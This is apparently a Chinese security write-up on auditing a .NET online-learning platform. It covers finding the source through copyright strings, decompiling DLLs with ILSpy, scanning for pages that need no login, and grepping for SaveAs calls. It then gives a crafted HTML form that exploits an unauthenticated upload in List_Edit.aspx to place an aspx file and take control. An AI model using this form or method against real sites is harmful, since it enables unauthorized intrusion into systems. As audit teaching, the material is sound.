记一次项目中如何快速定位.net漏洞点
字数 1101 2025-08-29 08:32:19

.NET漏洞快速定位与审计技巧

1. 源码获取方法

1.1 通过版权信息查找

  • 检查网站首页源代码中的关键字
  • 搜索特定文件路径如/templates/web/netschool/corescripts/verify.js
  • 通过案例站点查找版权信息(如某厦商学院学习平台)
  • 确定版权后更容易找到对应源码

2. .NET项目快速审计技巧

2.1 路由结构分析

  1. 打开aspx文件查看class属性(如song.site.Manage.Console
  2. 在bin目录下使用ILSpy打开对应dll文件
  3. 确定URL与类映射关系(如song.site.Manage.Console对应/Manage/console.aspx

2.2 未授权访问检测

  1. 对比验证与非验证页面代码

    • 查找认证相关代码(可能因不熟悉.NET而难以定位)
  2. 目录扫描方法

    • 使用命令导出所有aspx文件结构:
      dir /a /s /b *.aspx
      
    • 处理路径制作专用字典
    • 使用Burp Suite批量测试
    • 通过响应大小判断:
      • 较大响应:可能存在未授权访问
      • 小响应(如197字节):可能有验证或需要参数

2.3 任意文件上传漏洞挖掘

  1. 常规方法

    • 在目录或ILSpy中搜索"upload"等关键字
    • 检查找到的上传点是否有权限验证
  2. 高级搜索技巧

    • 直接搜索上传函数如"SaveAs"
    • ILSpy搜索功能有限时,导出全部代码:
      findstr /msi /c:"saveas" *.*
      
    • 示例搜索结果:
      Song.Site.Manage.Admin\Setup_Qrcode.cs
      Song.Site.Manage.Admin\Setup_Stamp.cs
      Song.Site.Manage.Panel\Authorization.cs
      Song.Site.Manage.Template\List_Edit.cs
      Song.Site.Manage.Utility\ExcelInput.cs
      Song.Site.Manage.Utility.UploadPath\Uploading.cs
      Song.Site.Utility\ExamFileUp.cs
      
  3. 漏洞利用

    • song.site.Manage.Template\List_Edit.cs发现无验证上传代码
    • 构造上传表单:
      <form id="LoginForm" action="http://x:8084/Manage/Template/List_Edit.aspx" 
            method="post" enctype="multipart/form-data">
        <div class="aspNetHidden">
          <input type="text" name="org">
          <input type="text" name="NSRSBH">
          <input type="file" name="org">
          <input type="submit" name="btn_Click" id="btn_Click">
        </div>
      </form>
      
    • 成功上传aspx文件获取权限

3. 工具与命令总结

工具/命令 用途
ILSpy .NET反编译工具,用于分析dll文件
dir /a /s /b *.aspx 递归列出所有aspx文件路径
findstr /msi /c:"saveas" . 在所有文件中搜索"saveas"关键字
Burp Suite 用于批量测试未授权访问

4. 审计流程总结

  1. 获取源码(通过版权信息或特定文件路径)
  2. 分析路由结构(aspx class属性与dll映射)
  3. 检测未授权访问(目录扫描+响应分析)
  4. 查找上传漏洞(关键字搜索+函数定位)
  5. 构造利用代码验证漏洞

5. 关键注意事项

  1. 当不熟悉.NET框架时,可依赖黑盒测试方法(如目录扫描)
  2. 源码获取是审计成功的关键前提
  3. 系统化搜索(如函数搜索)比盲目查找更高效
  4. 响应大小对比是快速筛选未授权页面的有效方法
  5. 上传功能不一定包含"upload"关键字,直接搜索核心函数更可靠
.NET漏洞快速定位与审计技巧 1. 源码获取方法 1.1 通过版权信息查找 检查网站首页源代码中的关键字 搜索特定文件路径如 /templates/web/netschool/corescripts/verify.js 通过案例站点查找版权信息(如某厦商学院学习平台) 确定版权后更容易找到对应源码 2. .NET项目快速审计技巧 2.1 路由结构分析 打开aspx文件查看class属性(如 song.site.Manage.Console ) 在bin目录下使用ILSpy打开对应dll文件 确定URL与类映射关系(如 song.site.Manage.Console 对应 /Manage/console.aspx ) 2.2 未授权访问检测 对比验证与非验证页面代码 查找认证相关代码(可能因不熟悉.NET而难以定位) 目录扫描方法 使用命令导出所有aspx文件结构: 处理路径制作专用字典 使用Burp Suite批量测试 通过响应大小判断: 较大响应:可能存在未授权访问 小响应(如197字节):可能有验证或需要参数 2.3 任意文件上传漏洞挖掘 常规方法 在目录或ILSpy中搜索"upload"等关键字 检查找到的上传点是否有权限验证 高级搜索技巧 直接搜索上传函数如"SaveAs" ILSpy搜索功能有限时,导出全部代码: 示例搜索结果: 漏洞利用 在 song.site.Manage.Template\List_Edit.cs 发现无验证上传代码 构造上传表单: 成功上传aspx文件获取权限 3. 工具与命令总结 | 工具/命令 | 用途 | |-----------|------| | ILSpy | .NET反编译工具,用于分析dll文件 | | dir /a /s /b .aspx | 递归列出所有aspx文件路径 | | findstr /msi /c:"saveas" .* | 在所有文件中搜索"saveas"关键字 | | Burp Suite | 用于批量测试未授权访问 | 4. 审计流程总结 获取源码(通过版权信息或特定文件路径) 分析路由结构(aspx class属性与dll映射) 检测未授权访问(目录扫描+响应分析) 查找上传漏洞(关键字搜索+函数定位) 构造利用代码验证漏洞 5. 关键注意事项 当不熟悉.NET框架时,可依赖黑盒测试方法(如目录扫描) 源码获取是审计成功的关键前提 系统化搜索(如函数搜索)比盲目查找更高效 响应大小对比是快速筛选未授权页面的有效方法 上传功能不一定包含"upload"关键字,直接搜索核心函数更可靠